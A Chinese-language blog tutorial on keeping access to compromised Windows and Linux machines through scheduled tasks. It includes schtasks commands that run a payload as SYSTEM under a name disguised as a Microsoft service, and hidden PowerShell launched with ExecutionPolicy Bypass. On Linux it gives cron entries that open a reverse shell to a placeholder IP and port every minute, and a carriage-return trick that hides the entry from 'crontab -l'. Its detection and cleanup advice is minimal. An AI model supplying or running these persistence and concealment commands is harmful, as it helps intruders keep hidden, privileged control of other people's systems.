LOADING

正在加载

计划任务

壹 介绍

计划任务的作用:是做一些周期性的任务,在生产中的主要用来定期备份数据。所以在对肉鸡或者服务器进行权限维持时,我们可以考虑计划任务。

贰 Windows

2.1 打开计划任务窗口

  • 方法一:右击此电脑->管理->任务计划程序
  • 方法二:控制面板->管理工具->任务计划程序
  • 方法三:Win+R->运行->输入taskschd.msc
  • 方法四:powershell->taskschd.msc

2.2 操作

2.2.1 图形化操作

创建任务于创建基本任务有什么不同?基本任务是系统要求的,一定要注意权限问题,只有对应权限才能执行对应操作和创建的计划任务。

  • 创建一个计划任务
    b07086a9c1bfffbf5f704babff2fb32a.png
  • 为计划任务创建触发器
    414e35dc68144770fe03094299ca21a7.png
  • 为计划任务添加操作,需要注意默认执行路径是C:\Windows\System32,所以我们可以在启始于那里加工作路径
    4f2ea0845d34a4caa2a2bb26286d6312.png
  • 保存,并试着运行一下,OK,这里的操作只是图形化,一般情况我们更喜欢使用命令行操作。
    10d1a0b70b22db22831244fe8384cc6c.png

2.2.2 命令行操作

命令行分两步:计划任务、powershell隐藏执行终端

  • 计划任务

对于命令行操作,我们可以使用schtasks命令。

# 查看内置的基本命令
schtasks /?
# 基本操作
/Create:创建新计划任务。
/Delete:删除计划任务。
/Query:显示所有计划任务。
/Change:更改计划任务属性。
/Run:按需运行计划任务。
/End:中止当前正在运行的计划任务。
/ShowSid:显示与计划的任务名称相应的安全标识符。
/?:显示此帮助消息。

d8b7a9f369fc8604b37872d443cbec21.png

然后就根据要使用的命令一步一步操作,如果有不了解的可以使用/?

常用创建命令:

参数 长参数 参数详细说明
/TN taskname 以路径\名称形式指定对此计划任务进行唯一标识的字符串。
/TR taskrun 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe
/RU username 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。对于系统帐户,有效值是 “”、”NT AUTHORITY\SYSTEM” 或”SYSTEM”,不建议指定用户。
/SC schedule 指定计划类型,如ONSTART(开机启动)、ONLOGON(登录启动)、ONIDLE(空闲)
  • 例子
schtasks /create /ru system /tn "Microsoft\Windows\Multimedia\SystemMediaService" /sc ONSTART /tr "C:\cs.exe" // 创建⼀个名为Microsoft\Windows\Multimedia\SystemMediaService,开机时执⾏ c:\cs.exe 的计划任务,需要管理员权限

schtasks /change /tn "Microsoft\Windows\Multimedia\SystemSoundsService" /ru system /tr "C:\cs.exe" /enable // 修改 Microsoft\Windows\Multimedia\SystemSoundsService 计划任务,需要管理员权限,更改任务⽆法通过 /sc、/mo 参数更改计划频率
  • powershell执行
# 有这两种,执行exe和执行ps1
# 执行exe
powershell -ExecutionPolicy Bypass -windowstyle hidden -command 'notepad.exe'
# 切记-command的后面的参数一定是单引号括起来
# 执行ps1
powershell -ExecutionPolicy Bypass -windowstyle hidden -File 'C:\Users\admin\Desktop\demo.ps1'
  • 完整
    # 很多时候都是因为权限问题导致不成功
    schtasks.exe /create /tn "restart" /sc ONLOGON /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -File 'C:\Users\admin\Desktop\demo.ps1'"
    schtasks.exe /create /tn "restart" /sc ONLOGON /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -command 'notepad.exe'"
    

关于C:\Users\admin\Desktop\demo.ps1是我们创建的恶意文件。

2.3 检测以及清理

  • 检测
    查看计划任务程序库中是否存在异常计划任务:
    05e6e9f7570ac1318068f10a7ebfa87c.png
  • 清除
    删除异常计划任务及对应⽂件。

叁 Linux

linux系统中,可以通过crontabat两种命令实现计划任务,这里只介绍周期性计划任务——crontab

3.1 crontab——周期性计划任务

  • 文件
文件/目录 描述
/etc/crontab 该文件的作用相当于/etc/cron.d/下面的某一个文件,可以定义系统计划任务
/var/spool/cron/ 以用户名命名的文本文件,存放各个用户自己设定的定时任务,普通用户没有权限直接访问,必须通过crontab命令
/etc/cron.d/ 存放用来设定除了每天/每周/每月之外的定时任务,比如说周期执行的任务和其他任何定时任务
/etc/cron.d/0hourly 系统每小时第一分钟需要执行的任务
/etc/cron.deny 用户拒绝列表(在该文件中的用户不能使用cron服务)
/etc/cron.monthly/ 存放系统每个月需要执行的脚本
/etc/cron.weekly/ 存放系统每周需要执行的脚本
/etc/cron.daily/ 存放系统每天需要执行的脚本
/etc/cron.hourly/ 存放系统每小时需要执行的脚本
cat /etc/crontab

f66665bfe3f7d37c27739bd150e0b26f.png

# 命令:crontab
-e: 编辑计划任务 edit
-l: 查看计划任务 display
-u: 指定用户 user
-r: 删除计划任务 remove

crontab -l命令实际上就是在读取/var/spool/crontab/(centos)/var/spool/cron/crontabs/ 目录下对应用户名的文件内容,比如CentOS系统的root用户执行crontab -l,实际就是在读取/var/spool/crontab/root这个文件的内容,如果用户从未通过crontab命令设置过计划任务,那么这个文件是不存在的,此时,执行crontab -l命令会返回no crontab for root

c90cb6dc84987be59614d2e4c44ba238.png

# 每月1、10、22日的4:45重启network服务
45 4 1,10,22 * * /usr/bin/systemctl restart network

# 每天18:00至23:00之间每隔30分钟重启network服务
*/30 18-23 * * * /usr/bin/systemctl restart network

# 反弹shell
*/1 * * * * bash -c "bash -i >& /dev/tcp/IP/port 0>&1"

# shell直接执行
echo -e "*/1 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec
1>&9 2>&1;/bin/bash --noprofile -i"|crontab - # 该命令会修改
/var/spool/cron/ 下对应⽤户的⽂件,如 root ⽤户执⾏该命令,则会修改该⽬录下 root
⽂件,也相当于 crontab -e

3.2 骚操作——利用不可打印字符来伪造计划任务数

原理:shell在解析\r时会忽略掉\r前面的信息。
0b16c4bcef1cfbebb08c846dff638866.png

# 如果我们使用printf进行输出,不用echo,因为printf会将后面的清除在写入,而echo -e不会清除,而是在%开始进行代替
# centos
(printf "*/1 * * * * bash -c 'bash -i >& /dev/tcp/IP/port 0>&1';\rno crontab for `whoami` %100c\n") | crontab -
# Ubuntu
(printf "*/1 * * * * /bin/bash /root/rs.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n") | crontab -

4ac2a1138b2403136881d749d3b54f6a.png

2.3 检测以及清理

  • 检测
    查看各个计划任务⽂件的内容是否有异常,或使⽤ crontab -l 命令列出当前⽤户的⾃定
    义计划任务
  • 清除
    删除异常计划任务即可

肆 参考

avatar
小C&天天

修学储能 先博后渊


今日诗句